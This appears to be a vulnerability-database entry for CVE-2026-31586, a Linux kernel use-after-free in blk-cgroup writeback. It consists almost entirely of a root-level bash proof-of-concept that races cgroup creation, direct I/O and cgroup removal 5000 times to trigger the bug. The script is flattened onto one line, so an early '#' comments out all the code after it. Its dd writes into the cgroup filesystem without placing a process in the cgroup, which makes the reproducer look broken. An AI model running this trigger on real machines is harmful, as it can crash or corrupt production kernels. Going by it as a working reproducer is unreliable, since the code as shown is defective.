CVE-2026-31586 Linux内核释放后重用漏洞

#!/bin/bash # PoC for CVE-2026-31586: blk-cgroup UAF # This script reproduces the race condition by stressing cgroup creation/deletion. # Reference: https://github.com/leitao/debug/blob/main/reproducers/repro_blkcg_uaf.sh if [ "$(id -u)" -ne 0 ]; then echo "[!] Run as root" exit 1 fi # Setup cgroup mount point CGROUP_MOUNT="/sys/fs/cgroup/blkio_poc" mkdir -p $CGROUP_MOUNT mount -t cgroup -o blkio none $CGROUP_MOUNT 2>/dev/null || mount -t cgroup2 none $CGROUP_MOUNT echo "[*] Triggering race condition in cgwb_release_workfn..." for i in $(seq 1 5000); do # Create a cgroup mkdir $CGROUP_MOUNT/test_$i 2>/dev/null # Perform I/O to attach writeback structures dd if=/dev/zero of=$CGROUP_MOUNT/test_$i/tmpfile bs=1M count=1 oflag=direct 2>/dev/null & # Remove cgroup to trigger cgwb_release_workfn rmdir $CGROUP_MOUNT/test_$i 2>/dev/null done echo "[*] Done. Check dmesg for KASAN output."